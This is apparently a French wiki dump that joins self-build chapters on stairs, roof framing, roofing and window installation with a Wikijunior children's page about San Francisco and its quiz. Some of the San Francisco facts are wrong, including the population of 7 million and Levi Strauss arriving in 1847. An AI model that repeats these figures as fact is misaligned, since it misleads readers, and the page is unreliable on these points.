0,7&nbsp;m. Penser au transport de meubles, civières, croisement de personnes... avant de décider de la largeur utile. Une volée d’escalier ne doit pas comporter plus d’une vingtaine de marches, au-delà il faut prévoir un ou deux paliers. Le mieux est de mesurer les dimensions d’un escalier existant que l’on a plaisir à utiliser et d’en reproduire les principes. Un escalier tournant bien ''balancé'' se monte sans à-coup, il est obtenu par une méthode de traçage faisant appel à la géométrie dans l’espace, travail un peu délicat pour un débutant. Vérifier la «&nbsp;garde au plafond&nbsp;» ou ''hauteur d’échappée'' pour chaque marche, elle doit être d’au moins 1,9m. La position de l’escalier est imposée par l’aménagement de chacun des niveaux qu’il dessert. La cage de l’escalier (le volume qu’il occupe) peut être ouverte ou fermée. Dans le premier cas la chaleur, la lumière, les sons... seront transmis d’un étage à l’autre. L’intimité, la décoration, l’efficacité de l’escalier ne seront pas les mêmes. Lorsque la surface au sol est limitée on peut réaliser un escalier en colimaçon à l’aide de marches préfabriquées. Il peut être préférable d’installer un escalier métallique ou en bois. Une autre possibilité est l’échelle de meunier dont l’angle d’inclinaison peut atteindre 60 degrés. Ces deux solutions sont des pis-aller. L’escalier est un des endroits dangereux dans une maison. Il importe de limiter les risques d’une chute en installant dès que possible une rampe et un garde-corps. Le revêtement des marches est important&nbsp;: antidérapant, absorbant des chocs, silencieux, facile à nettoyer... Pour les étages habités on préfère le bois, chaud, d’aspect plus léger, plus facile à travailler... La réalisation d’un escalier en bois constitué de volées droites ne pose pas de problème particulier. Les marches sont réalisées en bois dur comme le chêne, les limons peuvent être en sapin. Pour limiter les grincements et les craquements, on peut glisser dans les feuillures et rainures d’assemblage une feuille de polyéthylène qui fonctionnera comme un lubrifiant. L’accès aux combles non habitables peut être assuré par un escalier escamotable, sorte d’échelle pliante. C’est une solution qui n’est pas conseillée pour un usage régulier, il vaut mieux prévoir dès le début l’emplacement d’un escalier fixe, éventuellement en colimaçon. Voir aussi la section ''Escaliers en bois'' Sommaire général : [[Construire sa maison]] Construire sa maison - La charpente 7260 45213 2006-06-19T09:33:33Z 193.251.38.163 /* Arasements */ Sommaire général : [[Construire sa maison]] Pour l'autoconstructeur, la [[w:charpente|charpente]] peut représenter un travail délicat si le toit ne se limite pas à un deux pans sans ferme. En fait il est parfaitement possible de venir à bout de la plupart des types de toiture en mettant en œuvre une méthodologie appropriée. ===Etude=== Après une esquisse au 1/20 qui permettra de dégrossir le travail, une charpente se dessine avec une échelle permettant de mesurer directement les dimensions des pièces la composant. L'échelle 1/10 est la plus pratique.<br /> De nombreuses contraintes sont à prendre en compte : * Plan de la maison (forme, dimension, orientation...) * Résistance mécanique au vent, à la neige, au poids de la couverture * Pente dépendant des traditions locales, du style de la maison, du type de couverture choisie * Combles aménageables ou non * Présence d'ouvertures dans le toit (lucarnes, fenêtres, cheminées...) * Epaisseur et type d'isolation * Problèmes d'accès et de réalisation (hauteur, échaffaudage, grue...) ===Maquette=== Pour se rendre compte de l'aspect futur de la construction dans son ensemble, ce que ne permet guère la lecture des plans et façades, il est bon de réaliser une maquette en carton.<br /> Pour la charpente, utilisez du balsa (bois très léger vendu dans les magasins de bricolage ou de maquettes). ===Dragé=== Taller une charpente consiste à préparer au sol, à plat, les fermes et pannes avant de les monter à leur place définitive. L'aire de traçage et de façonnage devra être la plus plane et horizontale possible ; ce peut être la dernière dalle coulée si sa surface le permet.<br /> Les bois sont empilés les uns sur les autres en commençant par les pièces les plus lourdes (entraits, arbalétriers, poinçon puis contrefiches). Ils sont réglés de niveau par rapport à leur lignage (axe traçé au cordex) et ensuite traçés au fil à plomb de charpentier en vue d'effectuer les assemblages. Les fermes et contreventements ont été dessinés à l'échelle à partir des cotes théoriques déterminées au moment de la réalisation des plans. On commencera par vérifier ces cotes par rapport à la maçonnerie réellement réalisée.Si deux ou plusieurs fermes sont identiques, on peut les tailler l'une sur l'autre, il convient de ne pas dépasser quelques centimètres d'erreurs pour assurer une bonne planéité du pan de toit. Des ajustements sont toutefois possibles ''en l'air''. Avant de tracer pour découper ou réaliser tenons et mortaises, on aura intérêt à vérifier que les éléments n'ont pas bougé.. Les pièces de bois à assembler sont posées sur des plots (parpaings) mis de niveau et calées avec des morceaux de bois. Pour un assemblage par boulons de deux ou trois pièces (entrait moisé et arbalétrier, par exemple), il est nécessaire de percer toutes les pièces ensemble en les superposant, vérifier la verticalité du forêt ou de la tarière.<br /> Pour éviter le mélange des pièces, marquer soigneusement chaque assemblage en reportant un numéro unique sur chaque élément de l'assemblage. La méthode traditionnelle qui ressemble aux chiffres romains mais qui permet à tout bon charpentier de savoir où et dans quelle position va se trouver la pièce ainsi marquée (à la rainette) est parfaite, le marquage sera toujours visible, même après rabotage des pièces. ===Découpe=== Avant traçage, choisir les pièces en fonction de leur utilisation donc des efforts qu'elles devront subir : les pannes travaillent à la flexion, les entraits à la traction... Vérifier les défauts, éliminer les pièces douteuses (bois roulé, trop vrillé ou cintré, gros nœuds secs...). Pour éviter que le bois ne se fende il faut lui permettre de sécher lentement, en plein air mais surtout à l'abri de la pluie et du soleil. Les pièces découpées seront rangées à plat, bâtonnées et à l'abri.<br /> La réalisation d'un assemblage par tenon et mortaise est facile à condition de procéder avec méthode. Il est nécessaire de tracer l'emplacement et le profil de la découpe et de commencer par une ébauche que l'on affine progressivement. Pour se faire la main, on pourra réaliser quelques assemblages de chaque sorte avant de se lancer avec les pièces réelles. À la commande du bois, on a gardé 10% de sur-longueur, ce ne sera pas de trop en cas d'erreur. L'outillage nécessaire comprend : petite tronçonneuse, scie circulaire, tarière ou grand foret de diamètre 20 ou 22mm, rabot électrique, ciseau à bois, bédane, maillet, plane, défonceuse...<br /> Des chevilles en chêne ou acacia (longueur 35 à 40cm), d'un diamètre légèrement supérieur à celui de la tarière, auront été préparées auparavant.<br /> Les pièces découpées seront rabotées avant traitement. En séchant il est fort probable que les pièces vont se déformer ; l'assemblage en l'air sera difficile. Si un temps supérieur à une ou deux semaines sépare le moment de la découpe de celui de la mise en place de la charpente, on aura intérêt à procéder à un assemblage au sol, à plat, et à retoucher les pièces déformées.<br /> ===Traitement=== Le traitement de la charpente est fortement conseillé même dans les régions où les termites ne sont pas un fléau. Attention, suivant leurs usages certaines essences de bois (type douglas, mélèze, chêne...) ne nécessitent aucun traitement (vous pouvez obtenir ces renseignements sur le site du CNDB ; chaque essence a une classe de risque) Principaux risques et solutions : * séchage trop rapide du bois : lasure hydrofuge retardant l'évaporation * bleuissement : fongicide même léger * pièces apparentes dans les combles : lasure teintant avec finition hydrofuge après rabotage ou ponçage * parasites ordinaires (capricorne, termite...) traitement avec un fongicide-insecticide par immersion, injection sous pression ou double couche étalée au pinceau * gros risques, pièces à l'extérieur : traitement CCA ou CCB autoclave (imprégnation dite « à cœur »). Ces produits à base de cuivre, chrome, arsenic et bore peuvent être dangereux en cas de contact du bois avec la peau. Ce genre de traitement est réalisé par des spécialistes, après découpe et rabotage éventuel des pièces. Il donne une couleur verdâtre au bois. En pratique, l'application de ces produits doit s'effectuer de préférence en plein air ou dans un local parfaitement ventilé. Pour la rénovation il existe des produits sous forme de gel, plus faciles à appliquer. ===Montage=== La mise en place d'une charpente nécessite d'être au moins deux car certaines pièces sont lourdes et encombrantes. Un échafaudage et une paire d'échelles sont très utiles sinon indispensables. La réalisation d'une maquette facilite l'élaboration du processus de montage. Avant la mise en place, les surfaces de bois qui resteront visibles dans les combles pourront subir un rabotage qui serait laborieux après les travaux.<br /> On aura intérêt à vérifier les assemblages et contrôler les principales cotes avant de dresser les fermes. Ranger les pièces dans l'ordre où elles seront montées. Si sa hauteur est faible, une ferme peut être assemblée à plat puis dressée à l'aide d'un palan et d'étais. Sinon il faudra réaliser l'assemblage « en l'air » en utilisant éventuellement une tour d'échafaudage pour soutenir les arbalétriers au moment de les réunir par le poinçon. Les boulons et chevilles doivent être serrés ou enfoncés sans contrainte tant que la mise en place n'est pas parfaite (verticalité, position...). La précision de l'alignement des fermes détermine la planéité définitive du toit mais une erreur de 1 ou 2 centimètres peut être tolérée. Etayer les fermes jusqu'à la mise en place définitive de la panne faîtière. Vérifier à l'œil et en prenant du recul l'alignement des fermes et des murs pignons. En général une ferme se tassera par rapport à un mur pignon qui lui ne rétrécit pas en séchant. <br /> La mise en place des pannes commence par le montage de la faîtière, qui participe au soutien des fermes. La panne sablière est posée sur les murs de façade et calée pour être parallèle à la faîtière en tenant compte de la section des pannes intermédiaires. Ces dernières sont mises en place de façon à être dans le même plan que les pannes faîtière et sablière. Utiliser une règle, un chevron bien rectiligne ou un laser pour vérifier les alignements. Les pannes sont fixées sur les arbalétriers à l'aide de longues pointes à chevrons. On peut percer un avant-trou d'un diamètre inférieur à celui de la pointe.<br /> ===Arasements=== Avant de poser la couverture, les murs pignons montés en parpaings doivent être arasés, c’est-à-dire couverts d'un garnissage en mortier affleurant la face supérieure des chevrons. Pour cela, deux chevrons sont fixés provisoirement de chaque côté du mur pour servir de coffrage. Les murs montés en béton cellulaire sont arasés facilement en sciant, avec un scie égoïne spéciale, la partie des blocs dépassant la surface des chevrons . ===Pose des chevrons=== La section des chevrons, et en particulier leur hauteur, dépend de la portée entre deux pannes. En général il vaut mieux rapprocher les pannes et choisir des chevrons plus légers. L'espacement des chevrons pourra tenir compte de la position des chevêtres pour fenêtres de toit ou de conduits de fumée. Habituellement on trouve des chevrons de 6x8 cm, 6x10 cm ou 8x10 cm espacés de 40 à 50 cm et d'une portée de 2 à 2,5 m<br /> Les chevrons sont cloués sur chaque panne avec des pointes de longueur au moins égale à la hauteur du chevron plus 80 mm. On procède à la mise à longueur des chevrons au niveau de la gouttière en tenant compte de l'espacement des liteaux à partir du faîte. ===Plancher sur solives=== Comparé à une dalle en béton armé, un plancher sur solives a plusieurs avantages : * plus facile à réaliser * absence de ponts thermiques * possibilité de laisser les solives apparentes en plafond. En contrepartie la dalle en béton : * supporte des charges ponctuelles plus élevées * est un meilleur isolant phonique entre les étages On peut encastrer les solives dans les murs ou les faire reposer sur les appuis à leurs extrémités. Cette deuxième solution est plus pratique à de nombreux points de vue. Les appuis pouvant être constitués par des poutres (les lambourdes) fixées horizontalement sur les murs par des tire-fonds ou des boulons. La portée maximale admissible pour une solive est fonction de sa section et peut facilement être déterminée à l'aide d'abaques. Les sections courantes dans les négoces de matériaux varient de 6,5cm x 15,5 cm, pour les bastaings les plus petits, à 8 cm x 23 cm, pour les madriers les plus gros. On utilise généralement un bois de premier choix (sans défaut apparent, roulure, gerçure, nœud sec...) de pin ou de sapin. La section rectangulaire est disposée verticalement pour augmenter la résistance de la solive à la flexion. Les extrémités, généralement invisibles, seront traitées sérieusement à l'aide d'un produit fongicide et insecticide. La pose des solives s'apparente à celle des chevrons. Comme la face supérieure de la solive est destinée à recevoir le plancher, elle doit s'inscrire dans le même plan horizontal que les autres solives. ===Escaliers en bois=== Le choix du bois pour la réalisation d'un escalier peut être motivé par: *aspect chaud du matériau. *décoration du logement à base de bois ou de matériaux bruts. *plus grande facilité de réalisation (approvisionnement, découpe, usinage...). *possibilité d'installation de l'escalier à tout moment de la construction. *légèreté. *souplesse (dans le cas d'une chute...) Mais l'escalier en bois a quelques inconvénients : *entretien (si le bois est ciré). *bruits (grincements, sonorité...). *protection nécessaire par fongicide et insecticide. *déformation par séchage, travail du bois... Comme l'escalier en béton (ou en métal) un escalier en bois peut être : *droit, en une seule volée, mais il occupera plus de place, à moins de réaliser une ''échelle de meunier''. *tournant en une large courbe ou à l'extrême en colimaçon *quart-tournant, avec un palier intermédiaire *quart-tournant, balancé et sans palier. *en trois volées et deux paliers intermédiaires Pour accèder une fois de temps en temps à des combles on peut prévoir un escalier escamotable et pliant qui pourra être placé dans un couloir ou sur un palier sans occuper de place en permanence au sol.<br /> Les escaliers tournants ou en plusieurs volées sont moins dangereux en cas de chute. Le matériau traditionnel est le chêne de premier choix mais on utilise couramment des bois exotiques. Le hêtre et le pin sont aussi utilisés pour les réalisations économiques. Le chêne peut être laissé nature ou ciré (mais salissant et glissant), l'utilisation d'un vernis vitrificateur de première qualité est une bonne formule. La hauteur et la largeur des marches sont déterminés par des règles qu'il faut connaître et respecter. Si le nombre de marches est supérieur à quinze, il est judicieux de prévoir un palier. La contremarche est facultative si l'épaisseur de la marche et sa longueur en limitent la flexion. Un film en polyéthylène glissé dans les encastrements de marches et de contre-marches limite fortement les grincements. Un escalier droit est plus facile à réaliser car toutes les marches sont identiques. Les limons peuvent être construits en profilés métalliques soudés et habillés ensuite. Si l'escalier est en deux volées et un palier, il pourra être préfabriqué en trois éléments qui seront assemblés sur place. L'accrochage dans la maçonnerie peut être effectué à l'aide de scellements ou de chevilles spéciales de dimensions appropriées. <br /> Les protections (rampe, main courante, balustrade) doivent être réalisées en fonction des normes (hauteur, écartement entre barreaux...). Les distributeurs de matériaux pour le bâtiment proposent des escaliers préfabriqués de qualités diverses. Comme l'escalier ne peut être considéré comme faisant partie du mobilier, on aura intérêt à placer le critère ''qualité'' avant celui du prix. Prendre soigneusement les mesures avant de passer commande. Tenir compte du niveau fini des sols pour chacun des étages à desservir. Voir aussi le chapitre ''maçonnerie'' pour les escaliers en béton. Sommaire général : [[Construire sa maison]] Construire sa maison - La couverture 7261 34653 2006-02-25T09:31:24Z F5ZV 1177 création du chapitre Sommaire général : [[Construire sa maison]] La couverture d’un bâtiment est un écran posé sur la charpente et chargé de protéger celui-ci de la pluie, de la neige, du vent, du soleil et du sable du sahara... == Différents types de couverture == Les matériaux et les techniques pour réaliser un toit sont très variés&nbsp;: * tuile en terre cuite ou en béton de toutes sortes de modèle, * shingles et bardeaux bitumés, * bacs de toiture en tôle profilée ou stratifié verre, * toiture terrasse avec étanchéité réalisée avec une feuille d’aluminium gaufré doublée d’un tissu bitumé et posée à chaud, * tuiles solaires (photovoltaïque) encore très chères. Sans parler de procédés plus rares comme les bardeaux de bois, ardoises, plaques de schiste, chaume, feuille de cuivre ou de plomb ou, maintenant interdit : plaques d’amiante-ciment... La pente dépend d’abord du style de la construction et des règles d’urbanisme. Elle détermine en partie le type de couverture et sa mise en œuvre, en particulier pour le recouvrement des tuiles. Dans les régions ventées, les tuiles et les matériaux légers seront cloués, collés ou fixés à l’aide de crochets. Pour la ventilation de la sous-toiture sont utilisées des tuiles chatières. Les croupes sont terminées par une rangée d’arêtiers tandis que les faîtes sont surmontés de tuiles faîtières. À l’inverse les noues sont constituées généralement d’un canal en tôle de zinc. Pour éclairer un comble il est possible de placer des tuiles transparentes (de préférence au nord). Pour les traversées et sortie de mât d’antennes, tuyaux de ventilation... il existe des tuiles spéciales. Dans les régions enneigées on peut ajouter sur la toiture des crochets ou des grilles chargées de retenir la neige au dessus des portes et lieux de passage. Le type de toiture est généralement choisi dés le début du projet. == Sous-toiture == La sous-toiture est un film résistant à l’eau, mais perméable à la vapeur d'eau, qui compense les défauts accidentels d’étanchéité de la couverture, par exemple lors de grand vent, fuite, introduction de neige poudreuse sous les tuiles... Sa pose doit être particulièrement soignée prés des souches de cheminées, fenêtres de toit, sortie de ventilation... Ce film, en plastique ou tissu bitumé renforcé, est déroulé par lais horizontaux sur les chevrons (en commençant par le bas). Il est maintenu par des contre-lattes (épaisseur 10 ou 15&nbsp;mm) clouées sur les chevrons. La sous-toiture peut faire office de couverture pendant les quelques jours précédant la pose des tuiles. == Lattage == Les lattes ou liteaux sont destinées à maintenir les tuiles ou, moins communément, les plaques ou bacs de toiture. Elles sont régulièrement espacées et clouées horizontalement sur les chevrons ou les contre-lattes. La section d’une latte (en sapin ou épicéa) est de l’ordre de 25x50mm pour un écartement des chevrons de 40 à 50 centimètres. Les lattes doivent être traitées soigneusement, comme la charpente, le plus simple étant d’utiliser une gouttière fermée à chaque extrémité et de les immerger dans un produit insecticide et fongicide. Lors de la pose, rejeter les morceaux comportant des nœud secs et les lattes vrillées ou trop cintrées. == Zinguerie == On rassemble sous le terme de zinguerie toutes les opérations de finitions des toitures qui utilisaient autrefois la tôle de zinc. Une grande diversité de solutions s’offrent maintenant aux amateurs&nbsp;: * tubes, profilés et gouttières en PVC, * tôle, gouttières, chêneaux en cuivre, en zinc ou en tôle d’acier galvanisée. Tôle d’acier ou d’aluminium peinte, * feuille d’aluminium bitumé, généralement utilisé pour l’étanchéité des toitures en terrasse (on peut l’employer pour réaliser facilement des solins de formes compliquées), * la feuille de plomb est très pratique mais assez chère. Pour la soudure du zinc, du cuivre ou de la tôle galvanisée, un chalumeau au propane est pratiquement obligatoire car une grande puissance de chauffe est nécessaire pour réaliser les soudures à l’étain. Une plieuse, une cisaille d’établi, une cisaille grignoteuse et différentes pinces complètent l’outillage nécessaire. == Gouttières et chéneaux == Alors qu’on utilisait autrefois principalement le zinc, le cuivre et la tôle d’acier galvanisée, les chéneaux et gouttières sont de plus en plus souvent réalisés en PVC, matériau très résistant à l’extérieur et facile à travailler. Dans la mesure du possible on donnera à la gouttière une pente de 1&nbsp;cm/m en vérifiant que celle-ci est bien rectiligne, sans points bas. Veiller à ce que les feuilles mortes ne s’accumulent pas à l’automne, tailler les arbres dont les branches surplomberaient le toit. Lorsque la neige et la glace s’accumulent, il arrive que des crochets ordinaires fléchissent&nbsp;; il existe des crochets renforcés pour cela. Dans la mesure du possible on évitera de coller entièrement le tuyau de descente d’eau de pluie pour qu’il reste démontable. À la base, il devra être renforcé sur un mètre de haut. L’évacuation des eaux de pluie ne doit pas saturer le drainage. Les deux circuits devront se rejoindre dans un regard situé en contrebas. == Pose des tuiles == L’opération de pose des tuiles est indissociable du lattage, l’écartement des lattes étant déterminé par le facteur de recouvrement des tuiles. Pour un toit à faible pente, le recouvrement devra être plus important que si la pente est forte. Bien sûr le réglage du recouvrement des tuiles ne concerne pas les tuiles à double emboîtement pour lequel le lattage doit être soigneusement effectué. C’est le rang de tuiles le plus proche du faîte qui sert de point de départ, le rang le plus proche de la gouttière détermine la position de la rive d’égout, autrement dit du toit où la pluie s’égoutte. La couverture est un travail réclamant beaucoup de bras lorsqu’on ne dispose pas d’un monte-tuile. Si des différences de couleur sont à craindre (cas des tuiles en béton coloré), il importe de bien mélanger les différentes palettes. Il existe des crochets spéciaux pour fixer les tuiles sur les lattes. Fixer une tuile sur 10 ou 15 est une bonne précaution en cas de tempête. Les tuiles de rives, arêtiers et faîtières seront obligatoirement fixés à l’aide de clous zingués ou de mastic-colle spécial. On peut percer une tuile avec un foret à béton de diamètre 3 ou 4&nbsp;cm. La position du trou est déterminée par celle de la latte dans laquelle le clou sera planté. Les découpes de tuiles au niveau des noues, des arêtiers et des châssis de toit, seront faites soigneusement après un traçage rigoureux. Les risques de pénétration de la pluie chassée par le vent devront être réduits au maximum en injectant de la mousse et en utilisant des éléments de zinguerie correctement réalisés et posés. Le film de sous-toiture ne doit pas être abimé&nbsp;; il doit guider les éventuelles infiltrations jusque dans la gouttière. Sommaire général : [[Construire sa maison]] Wikijunior:Les grandes villes du monde/San Francisco 7262 44268 2006-06-10T13:17:10Z 83.199.160.228 /* Photographies */ + quiz [[Image:Twin peaks01.jpg|center|800px]] </div> San Francisco est une ville de l'ouest des États-Unis. Elle se trouve au bord de l'Océan Pacifique dans une région appelée Californie. =La porte de l'or= ==Géographie== <div style="float:right; border:2px solid #800080; width:250px; background-color:#ffaaff; margin-left:0.6em; padding:0.6em"> [[Image:Crystal Clear app xmag.png|50px]] '''San Francisco c'est ...''': *7 millions d'habitants </div> San Francisco se trouve entre l'Océan Pacifique à l'ouest et la plaine centrale de Californie à l'est. Elle est à quelques centaines de kilomètrès des montagnes de la Sierra Nevada. San Francisco est littéralement au bout d'une péninsule qui ferme la Baie de San Francisco. Un ensemble de plusieurs ponts, dont le célèbre Golden Gate Bridge, relie les rives. Les grandes plages sont le paradis des surfers. Ce qui fait le charme de San Francisco, ce sont ses collines et son climat : les étés sont relativement secs et frais à cause du brouillard ; les hivers sont plutôt doux. San Francisco se trouve près de la faille de San Andreas, ce qui explique la fréquence des tremblements de terre dans la région. Les deux principaux eurent lieu en 1906 et en 1989 (7,1 sur l'échelle ouverte de Richter). Aujourd'hui, les bâtiments sont construits pour résister aux séismes, y compris les gratte-ciel du centre-ville. ==Histoire== [[Image:Sf chinatown11.JPG|thumb|left|Le chinatown de San Francisco]] Les premiers habitants connus de la baie de San Francisco sont les Amérindiens. Ils ont laissé peu de traces de leur occupation et ont rapidement été anéantis par les maladies européennes et les massacres. Les conquistadores espagnols arrivent en Californie aux XVI{{e}} et XVII{{e}} siècles. Ils explorent la région et construisent des forts et des églises. Ils donnent leur nom à la ville : San Francisco veut dire Saint François en espagnol. Un village commence à apparaître seulement au XIX{{e}} siècle dans un lieu appelé ''Yerba Buena'', la bonne herbe, car le site était couvert de menthe. San Francisco ne se développe vraiment qu'avec la ruée vers l'or de de 1848-1849. L'annonce de la découverte de mines d'or dans la région provoque l'arrivée de milliers d'aventuriers et de pionniers. Ils quittent l'est des États-Unis ou viennent de l'étranger pour faire fortune. La forte croissance de la population est favorisée par la première liaison transcontinentale par chemin de fer : à partir de 1869, il devient possible d'aller de la côte est à la côte ouest en train. San Francisco est une véritable ville-champignon : les forêts de pins et de séquoias sont exploitées pour construire les maisons et pour être utilisées dans les mines. On découvre de nouvelles mines, cette fois-ci d'argent, dans les montagnes de la Sierra Nevada. En 1847, un certain Levi Strauss s'installe à San Francisco et crée les premiers jeans qui remportent un grand succès auprès des prospecteurs et des chercheurs d'or. Des milliers de Chinois traversent l'Océan Pacifique pour profiter des richesses de la ville ; ils forment peu à peu un quartier chinois (''Chinatown''). En 1906, San Francisco est détruite par un gigantesque incendie qui s'était déclenché à la suite d'un séisme. Il fallut trois jours pour l'éteindre. Mais la ville se releva rapidement et continua à s'étendre. Après la Seconde Guerre mondiale, une conférence de la paix se réunit à San Francisco pour fonder une Organisation des Nations Unies. Avec l'apparition de l'informatique et des nouvelles technologies, la Silicon Valley, au sud de la ville, donne aujourd'hui une image dynamique et moderne de San Francisco. <div style="float:left; border:1px solid #004080; background-color:#B2E3FF; font-size:90%; padding:4px"> [[Image:Barnstar-rotating.gif|50px]] <font color=purple>'''Savais-tu que ...'''</font> <small>'''Les jeans ont été inventés à San Francisco. En 1847, un jeune homme du nom d'Oscar Levi Strauss arrive en Californie avec de la toile de tente et des bâches de chariot. Il a l'idée de fabriquer des pantalons résistants à l'aide de cette toile pour les chercheurs d'or. Quelques années plus tard, il confectionne ses jeans avec une étoffe appelée Denim parce que son coton vient de la ville de Nîmes en France. Il les teinte à l'aide de l'indigo, ce qui leur donne une couleur bleue foncée : les blue-jeans sont nés ! À la fin du XIX{{e}} siècle, les jeans sont renforcés par des rivets. Le jeans 501 apparaît en 1890 sur le marché. Avec le T-Shirt, le jeans est devenu l'un des symboles des États-Unis.'''</small> </div> <br clear=all> =Que voir à San Francisco ?= [[Image:Golden Gate Bridge 2003.jpg|thumb|800px|center]] '''Le Golden Gate Bridge''' (pont de la porte d'or) est l'un des symboles de la ville de San Francisco. Achevé en 1937, il était, jusqu'en 1964, le pont suspendu le plus long du monde. Sa longueur totale est de 2789 mètres. La hauteur des tours est de 230 mètres au-dessus du niveau de l'eau. Lorsqu'on se promène sur le pont, on se trouve à 67 mètres au-dessus du détroit du Golden Gate. Sa largeur permet six voies de circulation pour les 130 000 véhicules qui le prennent chaque jour. Si l'on mettait bout-à-bout tous les câbles qui tiennent la structure, on obtiendrait un total de 129 000 kilomètres, soit 3 fois le tour de la Terre à l'équateur. [[Image:Cablecarsanfrancisco.jpg|thumb|left|Un cable car, San Francisco]] '''Le cable car''' Il s'agit d'un tramway qui roule sur des rails et qui est tiré par un gigantesque câble. Il ressemble un peu à un funiculaire. Il a été réalisé par Andrew Smith Hallidie en 1873. Il a été plusieurs fois rénové et fonctionne encore de nos jours, fournissant à la ville une de ses caractéristiques touristiques. Il est capable de gravir les nombreuses collines de San Francisco. '''Alcatraz''' Alcatraz est une île où fut construite une prison qui accueillit le célèbre malfrat Al Capone. On disait que personne ne pouvait s'échapper de cet endroit. Pourtant 5 prisonniers ont réussi à s'échapper sans qu'on puisse les trouver. Ils se sont probablement noyés dans le Golden Gate, emportés par les courants violents. Aujourd'hui, la prison est fermée. '''Fisherman's Wharf''' Au XIX{{e}} siècle, Fisherman Wharf était la porte de l'immigration et le port de pêche de la ville. La pêche fournit alors suffisamment de nourriture pour la population croissante de la ville. Le quartier s'est agrandi en gagnant sur la mer. Il accueillait aussi des conserveries, des entrepôts et des briquetteries. Aujourd'hui, les quartiers nord de San Francisco sont dédiés aux activités maritimes : on y trouve un musée avec de vieux bateaux, un aquarium et les points de départ pour l'île d'Alcatraz. Ils attirent les promeneurs du dimanche et les touristes. <div style="float:right; border:2px solid #800080; width:250px; background-color:#ffaaff; margin-left:0.6em; padding:0.6em"> [[Image:Crystal Clear app xmag.png|50px]] '''Le Golden Gate Park, c'est ...''': :<small>Une longueur de 5 Km</small> :<small>Une largeur de 800 mètres</small> :<small>Plus d'un million d'arbres</small> :<small>10 Km de pistes cyclables</small> </div> '''Les parcs et les jardins''' San Francisco offre une multitude d'espaces verts qui rendent la ville très agréable aux beaux jours. Le plus grand est le Golden Gate Park. C'est un peu l'équivalent du Central Park de New York, mais en plus grand ! Il fut aménagé sur un site sableux à la fin du XIX{{e}} siècle. Les activités sont nombreuses : musées, aquarium, bateau sur les lacs, stade, concerts ... [[Image:Haight Ashbury10.JPG|left|thumb|Maisons victoriennes de San Francisco]] '''Les maisons victoriennes''' Construites grâce au bois des séquoias, ces vieilles maisons ont résisté aux tremblements de terre, aux incendies et sont extrêmement décorées. À l'époque, elles offraient tout le confort moderne : chauffage central, électricité, eau courante ... Leurs dimensions sont standardisées : 8 mètres pour la façade et 30 mètres pour la profondeur. Elles comportent plusieurs étages et des oriels. =Pour aller plus loin ...= ==Quiz== [[Image:Primer vuelo (para E.).gif|right|200px]] Teste tes connaissances sur la ville de San Francisco. Clique sur "dérouler" pour connaître la bonne réponse ! {| |- valign=top | 1) En quelle année a eu lieu le plus important tremblement terre de San Francisco ? {{boîte déroulante|align=center|titre=1876 ? / 1906 ? / 1956 ?|contenu=Réponse : 1906}} 2) Qui inventa le jeans ? {{boîte déroulante|align=center|titre=Levi Strauss ? / Gap ? / Calvin Klein ?|contenu=Réponse : Levi Strauss}} 3) Où peut-on voir une célèbre prison à San Francisco ? {{boîte déroulante|align=center|titre= à Chinatown ? / à Alcatraz ? / à Fisherman's Wharf ?|contenu=Réponse : Alcatraz}} 4) Quel océan borde San Francisco ? {{boîte déroulante|align=center|titre=Atlantique ? / Indien ? / Pacifique ?|contenu=Réponse : l'Océan Pacifique}} 5) Qu'est-ce que le cable-car ? {{boîte déroulante|align=center|titre=un train ? / un tramway ? / une voiture ?|contenu=Réponse : un tramway}} 6) Quelle est la hauteur du Golden Gate Bridge ? {{boîte déroulante|align=center|titre=30 mètres ? / 130 mètres ? / 230 mètres ?|contenu=Réponse : 230 mètres}} | |} ==Photographies== <gallery> Image:SanFrancisco DownTown.jpg|Pyramid Tower, un immeuble de 260 mètres. CBD de San Francisco. Image:SF Japanese garden11.JPG|Jardin japonais dans le Golden Gate Park, San Francisco. Image:Haight Ashbury12.JPG|Maisons victoriennes en bois du XIXe siècle. San Francisco. Image:Historic ships of the San Francisco Maritime National Historic Park.jpg|Musée maritime de San Francisco. Image:SanFrancisco-001.jpg|Les pompiers de San Francisco Image:GoldenGateBridge.jpg|Le Golden Gate Bridge, San Francisco Image:San Francisco Chinatown Snoopy.jpg|Snoopy, Chinatown de San Francisco Image:Outer Sunset District San Francisco.jpg|Banlieue de San Francisco </gallery> ==Lectures== ==Films tournés à San Francisco== Construire sa maison - La mise hors d'eau 7263 34661 2006-02-25T10:03:03Z F5ZV 1177 création du chapitre Sommaire général : [[Construire sa maison]] Dés que la couverture est terminée on peut procéder à la pose des fenêtres et des portes extérieures car il va falloir protéger le chantier intérieur des visites inopportunes, des courants d’air et de la pluie. == Portes et fenêtres == Le dimensionnement des ouvertures dans les murs est déterminé par le choix des huisseries. La phase maçonnerie ne doit donc être entreprise qu’après avoir choisi les dimensions des portes et fenêtres et recueillie la documentation concernant les huisseries. Tenir compte de l’épaisseur des enduits (ou du bardage), de la présence de volets roulants (et des commandes de ces derniers&nbsp;: électrique, par sangle ou par tringle oscillante), de la hauteur du seuil ou de l’appui de fenêtre déterminés par le niveau du sol fini. La pose des portes extérieures et des fenêtres doit être faite avant la pose de l’isolation et des cloisons de doublage. On peut utiliser des pattes de scellement et du ciment à prise instantané mais l’utilisation d’équerres fixées à l’aide de chevilles et de vis est plus pratique, surtout quand on est tout seul. L’étanchéité vis à vis des infiltrations d’eau ou des entrées d’air est faite à l’aide d’une bande de mousse spéciale comprimée (en partie basse) et de joint silicone. L’huisserie est mise en place avec les ouvrants maintenus contre le dormant à l’aide de cales. Contrôler que l’ensemble n’est pas déformé en mesurant les diagonales et en vérifiant la planéité de l’ensemble avec une règle ainsi que le positionnement à l’aide du niveau à bulle. == Volets == Qu’il soit ajouté à une porte ou une fenêtre, le volet a plusieurs rôles distincts&nbsp;: * sécurité supplémentaire contre les effractions, les jets de projectiles, la grêle, la pluie, etc., * isolation thermique en limitant les effets du vent, * protection contre les rayons du soleil, * protection de la vie privée et renforcement de l’impression d’intimité, * amélioration (légère) de l’isolation phonique, * participation à l’esthétique de la construction. Plusieurs technologies sont utilisées&nbsp;: * volets roulants en bois, PVC, aluminium laqué - assez étanches au vent et à la lumière, discrets, conviennent aux façades modernes, faciles à manœuvrer sans ouvrir les fenêtres (possibilité de commande automatique), peu efficaces contre les effractions, * volets battants en bois ou PVC - traditionnels, décoratifs, plus encombrants et moins faciles à manier (nécessité d’ouvrir la fenêtre), robustes, * persiennes métalliques - très robustes, peu pratiques à manier. Il existe des volets roulants très minces et peu encombrants. Ils sont utilisés surtout dans la rénovation car ne nécessitent pas de caisson. Les volets roulants peuvent être 